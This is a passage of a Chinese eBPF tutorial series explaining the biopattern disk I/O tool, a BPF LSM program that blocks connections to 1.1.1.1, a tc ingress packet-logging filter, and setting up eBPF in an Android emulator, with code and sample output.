例如，要每秒打印一次输出，并持续10秒，你可以运行： $ sudo ./biopattern 1 10\nTracing block device I/O requested seeks... Hit Ctrl-C to end.\nDISK %RND %SEQ COUNT KBYTES\nsr0 0 100 3 0\nsr1 0 100 8 0\nsda 0 100 1 4\nsda 100 0 26 136\nsda 0 100 1 4 输出列的含义如下： DISK：被追踪的磁盘名称。 %RND：随机 I/O 的百分比。 %SEQ：顺序 I/O 的百分比。 COUNT：在指定的时间间隔内的 I/O 请求次数。 KBYTES：在指定的时间间隔内读写的数据量（以 KB 为单位）。 从上述输出中，我们可以得出以下结论： sr0 和 sr1 设备在观测期间主要进行了顺序 I/O，但数据量很小。 sda 设备在某些时间段内只进行了随机 I/O，而在其他时间段内只进行了顺序 I/O。 这些信息可以帮助我们了解系统的 I/O 模式，从而进行针对性的优化。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » Biopattern","id":"113","title":"Biopattern"},"114":{"body":"首先，让我们看一下 biopattern 的核心 eBPF 内核态代码： #include \n#include \n#include \n#include \"biopattern.h\"\n#include \"maps.bpf.h\"\n#include \"core_fixes.bpf.h\" const volatile bool filter_dev = false;\nconst volatile __u32 targ_dev = 0; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 64); __type(key, u32); __type(value, struct counter);\n} counters SEC(\".maps\"); SEC(\"tracepoint/block/block_rq_complete\")\nint handle__block_rq_complete(void *args)\n{ struct counter *counterp, zero = {}; sector_t sector; u32 nr_sector; u32 dev; if (has_block_rq_completion()) { struct trace_event_raw_block_rq_completion___x *ctx = args; sector = BPF_CORE_READ(ctx, sector); nr_sector = BPF_CORE_READ(ctx, nr_sector); dev = BPF_CORE_READ(ctx, dev); } else { struct trace_event_raw_block_rq_complete___x *ctx = args; sector = BPF_CORE_READ(ctx, sector); nr_sector = BPF_CORE_READ(ctx, nr_sector); dev = BPF_CORE_READ(ctx, dev); } if (filter_dev && targ_dev != dev) return 0; counterp = bpf_map_lookup_or_try_init(&counters, &dev, &zero); if (!counterp) return 0; if (counterp->last_sector) { if (counterp->last_sector == sector) __sync_fetch_and_add(&counterp->sequential, 1); else __sync_fetch_and_add(&counterp->random, 1); __sync_fetch_and_add(&counterp->bytes, nr_sector * 512); } counterp->last_sector = sector + nr_sector; return 0;\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 全局变量定义 const volatile bool filter_dev = false; const volatile __u32 targ_dev = 0; 这两个全局变量用于设备过滤。filter_dev 决定是否启用设备过滤，而 targ_dev 是我们想要追踪的目标设备的标识符。 BPF map 定义： struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 64); __type(key, u32); __type(value, struct counter); } counters SEC(\".maps\"); 这部分代码定义了一个 BPF map，类型为哈希表。该映射的键是设备的标识符，而值是一个 counter 结构体，用于存储设备的 I/O 统计信息。 追踪点函数： SEC(\"tracepoint/block/block_rq_complete\") int handle__block_rq_complete(void *args) { struct counter *counterp, zero = {}; sector_t sector; u32 nr_sector; u32 dev; if (has_block_rq_completion()) { struct trace_event_raw_block_rq_completion___x *ctx = args; sector = BPF_CORE_READ(ctx, sector); nr_sector = BPF_CORE_READ(ctx, nr_sector); dev = BPF_CORE_READ(ctx, dev); } else { struct trace_event_raw_block_rq_complete___x *ctx = args; sector = BPF_CORE_READ(ctx, sector); nr_sector = BPF_CORE_READ(ctx, nr_sector); dev = BPF_CORE_READ(ctx, dev); } if (filter_dev && targ_dev != dev) return 0; counterp = bpf_map_lookup_or_try_init(&counters, &dev, &zero); if (!counterp) return 0; if (counterp->last_sector) { if (counterp->last_sector == sector) __sync_fetch_and_add(&counterp->sequential, 1); else __sync_fetch_and_add(&counterp->random, 1); __sync_fetch_and_add(&counterp->bytes, nr_sector * 512); } counterp->last_sector = sector + nr_sector; return 0; } 在 Linux 中，每次块设备的 I/O 请求完成时，都会触发一个名为 block_rq_complete 的追踪点。这为我们提供了一个机会，通过 eBPF 来捕获这些事件，并进一步分析 I/O 的模式。 主要逻辑分析： 提取 I/O 请求信息 ：从传入的参数中获取 I/O 请求的相关信息。这里有两种可能的上下文结构，取决于 has_block_rq_completion 的返回值。这是因为不同版本的 Linux 内核可能会有不同的追踪点定义。无论哪种情况，我们都从上下文中提取出扇区号 (sector)、扇区数量 (nr_sector) 和设备标识符 (dev)。 设备过滤 ：如果启用了设备过滤 (filter_dev 为 true)，并且当前设备不是目标设备 (targ_dev)，则直接返回。这允许用户只追踪特定的设备，而不是所有设备。 统计信息更新 ： - 查找或初始化统计信息 ：使用 bpf_map_lookup_or_try_init 函数查找或初始化与当前设备相关的统计信息。如果映射中没有当前设备的统计信息，它会使用 zero 结构体进行初始化。 - 判断 I/O 模式 ：根据当前 I/O 请求与上一个 I/O 请求的扇区号，我们可以判断当前请求是随机的还是顺序的。如果两次请求的扇区号相同，那么它是顺序的；否则，它是随机的。然后，我们使用 __sync_fetch_and_add 函数更新相应的统计信息。这是一个原子操作，确保在并发环境中数据的一致性。 - 更新数据量 ：我们还更新了该设备的总数据量，这是通过将扇区数量 (nr_sector) 乘以 512（每个扇区的字节数）来实现的。 - 更新最后一个 I/O 请求的扇区号 ：为了下一次的比较，我们更新了 last_sector 的值。 在 Linux 内核的某些版本中，由于引入了一个新的追踪点 block_rq_error，追踪点的命名和结构发生了变化。这意味着，原先的 block_rq_complete 追踪点的结构名称从 trace_event_raw_block_rq_complete 更改为 trace_event_raw_block_rq_completion。这种变化可能会导致 eBPF 程序在不同版本的内核上出现兼容性问题。 为了解决这个问题，biopattern 工具引入了一种机制来动态检测当前内核使用的是哪种追踪点结构，即 has_block_rq_completion 函数。 定义两种追踪点结构 ： struct trace_event_raw_block_rq_complete___x { dev_t dev; sector_t sector; unsigned int nr_sector; } __attribute__((preserve_access_index)); struct trace_event_raw_block_rq_completion___x { dev_t dev; sector_t sector; unsigned int nr_sector; } __attribute__((preserve_access_index)); 这里定义了两种追踪点结构，分别对应于不同版本的内核。每种结构都包含设备标识符 (dev)、扇区号 (sector) 和扇区数量 (nr_sector)。 动态检测追踪点结构 ： static __always_inline bool has_block_rq_completion() { if (bpf_core_type_exists(struct trace_event_raw_block_rq_completion___x)) return true; return false; } has_block_rq_completion 函数使用 bpf_core_type_exists 函数来检测当前内核是否存在 trace_event_raw_block_rq_completion___x 结构。如果存在，函数返回 true，表示当前内核使用的是新的追踪点结构；否则，返回 false，表示使用的是旧的结构。在对应的 eBPF 代码中，会根据两种不同的定义分别进行处理，这也是适配不同内核版本之间的变更常见的方案。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » eBPF Biopattern 实现原理","id":"114","title":"eBPF Biopattern 实现原理"},"115":{"body":"biopattern 工具的用户态代码负责从 BPF 映射中读取统计数据，并将其展示给用户。通过这种方式，系统管理员可以实时监控每个设备的 I/O 模式，从而更好地理解和优化系统的 I/O 性能。 主循环： /* main: poll */ while (1) { sleep(env.interval); err = print_map(obj->maps.counters, partitions); if (err) break; if (exiting || --env.times == 0) break; } 这是 biopattern 工具的主循环，它的工作流程如下： 等待 ：使用 sleep 函数等待指定的时间间隔 (env.interval)。 打印映射 ：调用 print_map 函数打印 BPF 映射中的统计数据。 退出条件 ：如果收到退出信号 (exiting 为 true) 或者达到指定的运行次数 (env.times 达到 0)，则退出循环。 打印映射函数： static int print_map(struct bpf_map *counters, struct partitions *partitions) { __u32 total, lookup_key = -1, next_key; int err, fd = bpf_map__fd(counters); const struct partition *partition; struct counter counter; struct tm *tm; char ts[32]; time_t t; while (!bpf_map_get_next_key(fd, &lookup_key, &next_key)) { err = bpf_map_lookup_elem(fd, &next_key, &counter); if (err < 0) { fprintf(stderr, \"failed to lookup counters: %d\\n\", err); return -1; } lookup_key = next_key; total = counter.sequential + counter.random; if (!total) continue; if (env.timestamp) { time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); printf(\"%-9s \", ts); } partition = partitions__get_by_dev(partitions, next_key); printf(\"%-7s %5ld %5ld %8d %10lld\\n\", partition ? partition->name : \"Unknown\", counter.random * 100L / total, counter.sequential * 100L / total, total, counter.bytes / 1024); } lookup_key = -1; while (!bpf_map_get_next_key(fd, &lookup_key, &next_key)) { err = bpf_map_delete_elem(fd, &next_key); if (err < 0) { fprintf(stderr, \"failed to cleanup counters: %d\\n\", err); return -1; } lookup_key = next_key; } return 0; } print_map 函数负责从 BPF 映射中读取统计数据，并将其打印到控制台。其主要逻辑如下： 遍历 BPF 映射 ：使用 bpf_map_get_next_key 和 bpf_map_lookup_elem 函数遍历 BPF 映射，获取每个设备的统计数据。 计算总数 ：计算每个设备的随机和顺序 I/O 的总数。 打印统计数据 ：如果启用了时间戳 (env.timestamp 为 true)，则首先打印当前时间。接着，打印设备名称、随机 I/O 的百分比、顺序 I/O 的百分比、总 I/O 数量和总数据量（以 KB 为单位）。 清理 BPF 映射 ：为了下一次的统计，使用 bpf_map_get_next_key 和 bpf_map_delete_elem 函数清理 BPF 映射中的所有条目。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 用户态代码","id":"115","title":"用户态代码"},"116":{"body":"在本教程中，我们深入探讨了如何使用 eBPF 工具 biopattern 来实时监控和统计随机和顺序的磁盘 I/O。我们首先了解了随机和顺序磁盘 I/O 的重要性，以及它们对系统性能的影响。接着，我们详细介绍了 biopattern 的工作原理，包括如何定义和使用 BPF maps，如何处理不同版本的 Linux 内核中的追踪点变化，以及如何在 eBPF 程序中捕获和分析磁盘 I/O 事件。 您可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。 完整代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/17-biopattern bcc 工具： https://github.com/iovisor/bcc/blob/master/libbpf-tools/biopattern.c","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 总结","id":"116","title":"总结"},"117":{"body":"可以在这里找到更多关于 eBPF 的信息： https://github.com/zoidbergwill/awesome-ebpf https://ebpf.io/","breadcrumbs":"更多的参考资料 » 更多的参考资料","id":"117","title":"更多的参考资料"},"118":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能，使其在网络和系统性能分析方面具有广泛的应用。安全方面的 eBPF 应用也是如此，本文将介绍如何使用 eBPF LSM（Linux Security Modules）机制实现一个简单的安全检查程序。","breadcrumbs":"使用 LSM 进行安全检测防御 » eBPF 入门实践教程：使用 LSM 进行安全检测防御","id":"118","title":"eBPF 入门实践教程：使用 LSM 进行安全检测防御"},"119":{"body":"LSM 从 Linux 2.6 开始成为官方内核的一个安全框架，基于此的安全实现包括 SELinux 和 AppArmor 等。在 Linux 5.7 引入 BPF LSM 后，系统开发人员已经能够自由地实现函数粒度的安全检查能力，本文就提供了这样一个案例：限制通过 socket connect 函数对特定 IPv4 地址进行访问的 BPF LSM 程序。（可见其控制精度是很高的）","breadcrumbs":"使用 LSM 进行安全检测防御 » 背景","id":"119","title":"背景"},"12":{"body":"eBPF 介绍： https://ebpf.io/ BPF Compiler Collection (BCC)： https://github.com/iovisor/bcc eunomia-bpf： https://github.com/eunomia-bpf/eunomia-bpf 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程源代码。我们会继续分享更多有关 eBPF 开发实践的内容，帮助您更好地理解和掌握 eBPF 技术。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 参考资料","id":"12","title":"参考资料"},"120":{"body":"LSM（Linux Security Modules）是 Linux 内核中用于支持各种计算机安全模型的框架。LSM 在 Linux 内核安全相关的关键路径上预置了一批 hook 点，从而实现了内核和安全模块的解耦，使不同的安全模块可以自由地在内核中加载/卸载，无需修改原有的内核代码就可以加入安全检查功能。 在过去，使用 LSM 主要通过配置已有的安全模块（如 SELinux 和 AppArmor）或编写自己的内核模块；而在 Linux 5.7 引入 BPF LSM 机制后，一切都变得不同了：现在，开发人员可以通过 eBPF 编写自定义的安全策略，并将其动态加载到内核中的 LSM 挂载点，而无需配置或编写内核模块。 现在 LSM 支持的 hook 点包括但不限于： 对文件的打开、创建、删除和移动等； 文件系统的挂载； 对 task 和 process 的操作； 对 socket 的操作（创建、绑定 socket，发送和接收消息等）； 更多 hook 点可以参考 lsm_hooks.h 。","breadcrumbs":"使用 LSM 进行安全检测防御 » LSM 概述","id":"120","title":"LSM 概述"},"121":{"body":"首先，请确认内核版本高于 5.7。接下来，可以通过 $ cat /boot/config-$(uname -r) | grep BPF_LSM\nCONFIG_BPF_LSM=y 判断是否内核是否支持 BPF LSM。上述条件都满足的情况下，可以通过 $ cat /sys/kernel/security/lsm\nndlock,lockdown,yama,integrity,apparmor 查看输出是否包含 bpf 选项，如果输出不包含（像上面的例子），可以通过修改 /etc/default/grub： GRUB_CMDLINE_LINUX=\"lsm=ndlock,lockdown,yama,integrity,apparmor,bpf\" 并通过 update-grub2 命令更新 grub 配置（不同系统的对应命令可能不同），然后重启系统。","breadcrumbs":"使用 LSM 进行安全检测防御 » 确认 BPF LSM 是否可用","id":"121","title":"确认 BPF LSM 是否可用"},"122":{"body":"// lsm-connect.bpf.c\n#include \"vmlinux.h\"\n#include \n#include \n#include  char LICENSE[] SEC(\"license\") = \"GPL\"; #define EPERM 1\n#define AF_INET 2 const __u32 blockme = 16843009; // 1.1.1.1 -> int SEC(\"lsm/socket_connect\")\nint BPF_PROG(restrict_connect, struct socket *sock, struct sockaddr *address, int addrlen, int ret)\n{ // Satisfying \"cannot override a denial\" rule if (ret != 0) { return ret; } // Only IPv4 in this example if (address->sa_family != AF_INET) { return 0; } // Cast the address to an IPv4 socket address struct sockaddr_in *addr = (struct sockaddr_in *)address; // Where do you want to go? __u32 dest = addr->sin_addr.s_addr; bpf_printk(\"lsm: found connect to %d\", dest); if (dest == blockme) { bpf_printk(\"lsm: blocking %d\", dest); return -EPERM; } return 0;\n} 这是一段 C 实现的 eBPF 内核侧代码，它会阻碍所有试图通过 socket 对 1.1.1.1 的连接操作，其中： SEC(\"lsm/socket_connect\") 宏指出该程序期望的挂载点； 程序通过 BPF_PROG 宏定义（详情可查看 tools/lib/bpf/bpf_tracing.h ）； restrict_connect 是 BPF_PROG 宏要求的程序名； ret 是该挂载点上（潜在的）当前函数之前的 LSM 检查程序的返回值； 整个程序的思路不难理解： 首先，若其他安全检查函数返回值不为 0（不通过），则无需检查，直接返回不通过； 接下来，判断是否为 IPV4 的连接请求，并比较试图连接的地址是否为 1.1.1.1； 若请求地址为 1.1.1.1 则拒绝连接，否则允许连接； 在程序运行期间，所有通过 socket 的连接操作都会被输出到 /sys/kernel/debug/tracing/trace_pipe。","breadcrumbs":"使用 LSM 进行安全检测防御 » 编写 eBPF 程序","id":"122","title":"编写 eBPF 程序"},"123":{"body":"通过容器编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或是通过 ecc 编译： $ ecc lsm-connect.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 并通过 ecli 运行： sudo ecli run package.json 接下来，可以打开另一个 terminal，并尝试访问 1.1.1.1： $ ping 1.1.1.1\nping: connect: Operation not permitted\n$ curl 1.1.1.1\ncurl: (7) Couldn't connect to server\n$ wget 1.1.1.1\n--2023-04-23 08:41:18-- (try: 2) http://1.1.1.1/\nConnecting to 1.1.1.1:80... failed: Operation not permitted.\nRetrying. 同时，我们可以查看 bpf_printk 的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe ping-7054 [000] d...1 6313.430872: bpf_trace_printk: lsm: found connect to 16843009 ping-7054 [000] d...1 6313.430874: bpf_trace_printk: lsm: blocking 16843009 curl-7058 [000] d...1 6316.346582: bpf_trace_printk: lsm: found connect to 16843009 curl-7058 [000] d...1 6316.346584: bpf_trace_printk: lsm: blocking 16843009 wget-7061 [000] d...1 6318.800698: bpf_trace_printk: lsm: found connect to 16843009 wget-7061 [000] d...1 6318.800700: bpf_trace_printk: lsm: blocking 16843009 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/19-lsm-connect","breadcrumbs":"使用 LSM 进行安全检测防御 » 编译运行","id":"123","title":"编译运行"},"124":{"body":"本文介绍了如何使用 BPF LSM 来限制通过 socket 对特定 IPv4 地址的访问。我们可以通过修改 GRUB 配置文件来开启 LSM 的 BPF 挂载点。在 eBPF 程序中，我们通过 BPF_PROG 宏定义函数，并通过 SEC 宏指定挂载点；在函数实现上，遵循 LSM 安全检查模块中 \"cannot override a denial\" 的原则，并根据 socket 连接请求的目的地址对该请求进行限制。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 LSM 进行安全检测防御 » 总结","id":"124","title":"总结"},"125":{"body":"https://github.com/leodido/demo-cloud-native-ebpf-day https://aya-rs.dev/book/programs/lsm/#writing-lsm-bpf-program","breadcrumbs":"使用 LSM 进行安全检测防御 » 参考","id":"125","title":"参考"},"126":{"body":"","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » eBPF 入门实践教程二十：使用 eBPF 进行 tc 流量控制","id":"126","title":"eBPF 入门实践教程二十：使用 eBPF 进行 tc 流量控制"},"127":{"body":"Linux 的流量控制子系统（Traffic Control, tc）在内核中存在了多年，类似于 iptables 和 netfilter 的关系，tc 也包括一个用户态的 tc 程序和内核态的 trafiic control 框架，主要用于从速率、顺序等方面控制数据包的发送和接收。从 Linux 4.1 开始，tc 增加了一些新的挂载点，并支持将 eBPF 程序作为 filter 加载到这些挂载点上。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 背景","id":"127","title":"背景"},"128":{"body":"从协议栈上看，tc 位于链路层，其所在位置已经完成了 sk_buff 的分配，要晚于 xdp。为了实现对数据包发送和接收的控制，tc 使用队列结构来临时保存并组织数据包，在 tc 子系统中对应的数据结构和算法控制机制被抽象为 qdisc（Queueing discipline），其对外暴露数据包入队和出队的两个回调接口，并在内部隐藏排队算法实现。在 qdisc 中我们可以基于 filter 和 class 实现复杂的树形结构，其中 filter 被挂载到 qdisc 或 class 上用于实现具体的过滤逻辑，返回值决定了该数据包是否属于特定 class。 当数据包到达顶层 qdisc 时，其入队接口被调用，其上挂载的 filter 被依次执行直到一个 filter 匹配成功；此后数据包被送入该 filter 指向的 class，进入该 class 配置的 qdisc 处理流程中。tc 框架提供了所谓 classifier-action 机制，即在数据包匹配到特定 filter 时执行该 filter 所挂载的 action 对数据包进行处理，实现了完整的数据包分类和处理机制。 现有的 tc 为 eBPF 提供了 direct-action 模式，它使得一个作为 filter 加载的 eBPF 程序可以返回像 TC_ACT_OK 等 tc action 的返回值，而不是像传统的 filter 那样仅仅返回一个 classid 并把对数据包的处理交给 action 模块。现在，eBPF 程序可以被挂载到特定的 qdisc 上，并完成对数据包的分类和处理动作。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » tc 概述","id":"128","title":"tc 概述"},"129":{"body":"#include \n#include \n#include \n#include  #define TC_ACT_OK 0\n#define ETH_P_IP 0x0800 /* Internet Protocol packet */ /// @tchook {\"ifindex\":1, \"attach_point\":\"BPF_TC_INGRESS\"}\n/// @tcopts {\"handle\":1, \"priority\":1}\nSEC(\"tc\")\nint tc_ingress(struct __sk_buff *ctx)\n{ void *data_end = (void *)(__u64)ctx->data_end; void *data = (void *)(__u64)ctx->data; struct ethhdr *l2; struct iphdr *l3; if (ctx->protocol != bpf_htons(ETH_P_IP)) return TC_ACT_OK; l2 = data; if ((void *)(l2 + 1) > data_end) return TC_ACT_OK; l3 = (struct iphdr *)(l2 + 1); if ((void *)(l3 + 1) > data_end) return TC_ACT_OK; bpf_printk(\"Got IP packet: tot_len: %d, ttl: %d\", bpf_ntohs(l3->tot_len), l3->ttl); return TC_ACT_OK;\n} char __license[] SEC(\"license\") = \"GPL\"; 这段代码定义了一个 eBPF 程序，它可以通过 Linux TC（Transmission Control）来捕获数据包并进行处理。在这个程序中，我们限定了只捕获 IPv4 协议的数据包，然后通过 bpf_printk 函数打印出数据包的总长度和 Time-To-Live（TTL）字段的值。 需要注意的是，我们在代码中使用了一些 BPF 库函数，例如 bpf_htons 和 bpf_ntohs 函数，它们用于进行网络字节序和主机字节序之间的转换。此外，我们还使用了一些注释来为 TC 提供附加点和选项信息。例如，在这段代码的开头，我们使用了以下注释： /// @tchook {\"ifindex\":1, \"attach_point\":\"BPF_TC_INGRESS\"}\n/// @tcopts {\"handle\":1, \"priority\":1} 这些注释告诉 TC 将 eBPF 程序附加到网络接口的 ingress 附加点，并指定了 handle 和 priority 选项的值。关于 libbpf 中 tc 相关的 API 可以参考 patchwork 中的介绍。 总之，这段代码实现了一个简单的 eBPF 程序，用于捕获数据包并打印出它们的信息。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 编写 eBPF 程序","id":"129","title":"编写 eBPF 程序"},"13":{"body":"在本篇博客中，我们将深入探讨eBPF（Extended Berkeley Packet Filter）的基本框架和开发流程。eBPF是一种在Linux内核上运行的强大网络和性能分析工具，它为开发者提供了在内核运行时动态加载、更新和运行用户定义代码的能力。这使得开发者可以实现高效、安全的内核级别的网络监控、性能分析和故障排查等功能。 本文是eBPF入门开发实践教程的第二篇，我们将重点关注如何编写一个简单的eBPF程序，并通过实际例子演示整个开发流程。在阅读本教程之前，建议您先学习第一篇教程，以便对eBPF的基本概念有个大致的了解。 在开发eBPF程序时，有多种开发框架可供选择，如 BCC（BPF Compiler Collection）libbpf、cilium/ebpf、eunomia-bpf 等。虽然不同工具的特点各异，但它们的基本开发流程大致相同。在接下来的内容中，我们将深入了解这些流程，并以 Hello World 程序为例，带领读者逐步掌握eBPF开发的基本技巧。 本教程将帮助您了解eBPF程序的基本结构、编译和加载过程、用户空间与内核空间的交互方式以及调试与优化技巧。通过学习本教程，您将掌握eBPF开发的基本知识，并为后续进一步学习和实践奠定坚实的基础。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » eBPF 入门开发实践教程一：Hello World，基本框架和开发流程","id":"13","title":"eBPF 入门开发实践教程一：Hello World，基本框架和开发流程"},"130":{"body":"通过容器编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或是通过 ecc 编译： $ ecc tc.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 并通过 ecli 运行： sudo ecli run ./package.json 可以通过如下方式查看程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe node-1254811 [007] ..s1 8737831.671074: 0: Got IP packet: tot_len: 79, ttl: 64 sshd-1254728 [006] ..s1 8737831.674334: 0: Got IP packet: tot_len: 79, ttl: 64 sshd-1254728 [006] ..s1 8737831.674349: 0: Got IP packet: tot_len: 72, ttl: 64 node-1254811 [007] ..s1 8737831.674550: 0: Got IP packet: tot_len: 71, ttl: 64","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 编译运行","id":"130","title":"编译运行"},"131":{"body":"本文介绍了如何向 TC 流量控制子系统挂载 eBPF 类型的 filter 来实现对链路层数据包的排队处理。基于 eunomia-bpf 提供的通过注释向 libbpf 传递参数的方案，我们可以将自己编写的 tc BPF 程序以指定选项挂载到目标网络设备，并借助内核的 sk_buff 结构对数据包进行过滤处理。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 总结","id":"131","title":"总结"},"132":{"body":"http://just4coding.com/2022/08/05/tc/ https://arthurchiao.art/blog/understanding-tc-da-mode-zh/","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 参考","id":"132","title":"参考"},"133":{"body":"本文主要记录了笔者在 Android Studio Emulator 中测试高版本 Android Kernel 对基于 libbpf 的 CO-RE 技术支持程度的探索过程、结果和遇到的问题。 测试采用的方式是在 Android Shell 环境下构建 Debian 环境，并基于此尝试构建 eunomia-bpf 工具链、运行其测试用例。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 在 Andorid 上使用 eBPF 程序","id":"133","title":"在 Andorid 上使用 eBPF 程序"},"134":{"body":"截至目前（2023-04），Android 还未对 eBPF 程序的动态加载做出较好的支持，无论是以 bcc 为代表的带编译器分发方案，还是基于 btf 和 libbpf 的 CO-RE 方案，都在较大程度上离不开 Linux 环境的支持，无法在 Android 系统上很好地运行 [1] 。 虽然如此，在 Android 平台上尝试 eBPF 也已经有了一些成功案例，除谷歌官方提供的修改 Android.bp 以将 eBPF 程序随整个系统一同构建并挂载的方案 [2] ，也有人提出基于 Android 内核构建 Linux 环境进而运行 eBPF 工具链的思路，并开发了相关工具。 目前已有的资料，大多基于 adeb/eadb 在 Android 内核基础上构建 Linux 沙箱，并对 bcc 和 bpftrace 相关工具链进行测试，而对 CO-RE 方案的测试工作较少。在 Android 上使用 bcc 工具目前有较多参考资料，如： SeeFlowerX： https://blog.seeflower.dev/category/eBPF/ evilpan： https://bbs.kanxue.com/thread-271043.htm 其主要思路是利用 chroot 在 Android 内核上运行一个 Debian 镜像，并在其中构建整个 bcc 工具链，从而使用 eBPF 工具。如果想要使用 bpftrace，原理也是类似的。 事实上，高版本的 Android 内核已支持 btf 选项，这意味着 eBPF 领域中新兴的 CO-RE 技术也应当能够运用到基于 Android 内核的 Linux 系统中。本文将基于此对 eunomia-bpf 在模拟器环境下进行测试运行。 eunomia-bpf 是一个结合了 libbpf 和 WebAssembly 技术的开源项目，旨在简化 eBPF 程序的编写、编译和部署。该项目可被视作 CO-RE 的一种实践方式，其核心依赖是 libbpf，相信对 eunomia-bpf 的测试工作能够为其他 CO-RE 方案提供参考。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 背景","id":"134","title":"背景"},"135":{"body":"Android Emulator（Android Studio Flamingo | 2022.2.1） AVD: Pixel 6 Android Image: Tiramisu Android 13.0 x86_64（5.15.41-android13-8-00055-g4f5025129fe8-ab8949913）","breadcrumbs":"在 Android 上使用 eBPF 程序 » 测试环境","id":"135","title":"测试环境"},"136":{"body":"[3] 从 eadb 仓库 的 releases 页面获取 debianfs-amd64-full.tar.gz 作为 Linux 环境的 rootfs，同时还需要获取该项目的 assets 目录来构建环境； 从 Android Studio 的 Device Manager 配置并启动 Android Virtual Device； 通过 Android Studio SDK 的 adb 工具将 debianfs-amd64-full.tar.gz 和 assets 目录推送到 AVD 中： ./adb push debianfs-amd64-full.tar.gz /data/local/tmp/deb.tar.gz ./adb push assets /data/local/tmp/assets 通过 adb 进入 Android shell 环境并获取 root 权限： ./adb shell su 在 Android shell 中构建并进入 debian 环境： mkdir -p /data/eadb mv /data/local/tmp/assets/* /data/eadb mv /data/local/tmp/deb.tar.gz /data/eadb/deb.tar.gz rm -r /data/local/tmp/assets chmod +x /data/eadb/device-* /data/eadb/device-unpack /data/eadb/run /data/eadb/debian 至此，测试 eBPF 所需的 Linux 环境已经构建完毕。此外，在 Android shell 中（未进入 debian 时）可以通过 zcat /proc/config.gz 并配合 grep 查看内核编译选项。 目前，eadb 打包的 debian 环境存在 libc 版本低，缺少的工具依赖较多等情况；并且由于内核编译选项不同，一些 eBPF 功能可能也无法使用。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 环境搭建","id":"136","title":"环境搭建"},"137":{"body":"在 debian 环境中将 eunomia-bpf 仓库 clone 到本地，具体的构建过程，可以参考仓库的 build.md 。在本次测试中，笔者选用了 ecc 编译生成 package.json 的方式，该工具的构建和使用方式请参考 仓库页面 。 在构建过程中，可能需要自行安装包括但不限于 curl，pkg-config，libssl-dev 等工具。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 工具构建","id":"137","title":"工具构建"},"138":{"body":"有部分 eBPF 程序可以成功在 Android 上运行，但也会有部分应用因为种种原因无法成功被执行。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 结果","id":"138","title":"结果"},"139":{"body":"bootstrap 运行输出如下： TIME PID PPID EXIT_CODE DURATION_NS COMM FILENAME EXIT_EVENT\n09:09:19 10217 479 0 0 sh /system/bin/sh 0\n09:09:19 10217 479 0 0 ps /system/bin/ps 0\n09:09:19 10217 479 0 54352100 ps 1\n09:09:21 10219 479 0 0 sh /system/bin/sh 0\n09:09:21 10219 479 0 0 ps /system/bin/ps 0\n09:09:21 10219 479 0 44260900 ps 1 tcpstates 开始监测后在 Linux 环境中通过 wget 下载 Web 页面： TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK\n09:07:46 0x4007000200005000000000000f02000a 0x5000000000000f02000a8bc53f77 18446635827774444352 3315344998 0 10115 7 2 2 0 80 wget\n09:07:46 0x40020002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315465870 120872 0 2 1 2 55694 80 swapper/0\n09:07:46 0x40010002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315668799 202929 10115 1 4 2 55694 80 wget\n09:07:46 0x40040002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315670037 1237 0 4 5 2 55694 80 swapper/0\n09:07:46 0x40050002000050003d99f8090f02000a 0x50003d99f8090f02000a8bc53f77 18446635827774444352 3315670225 188 0 5 7 2 55694 80 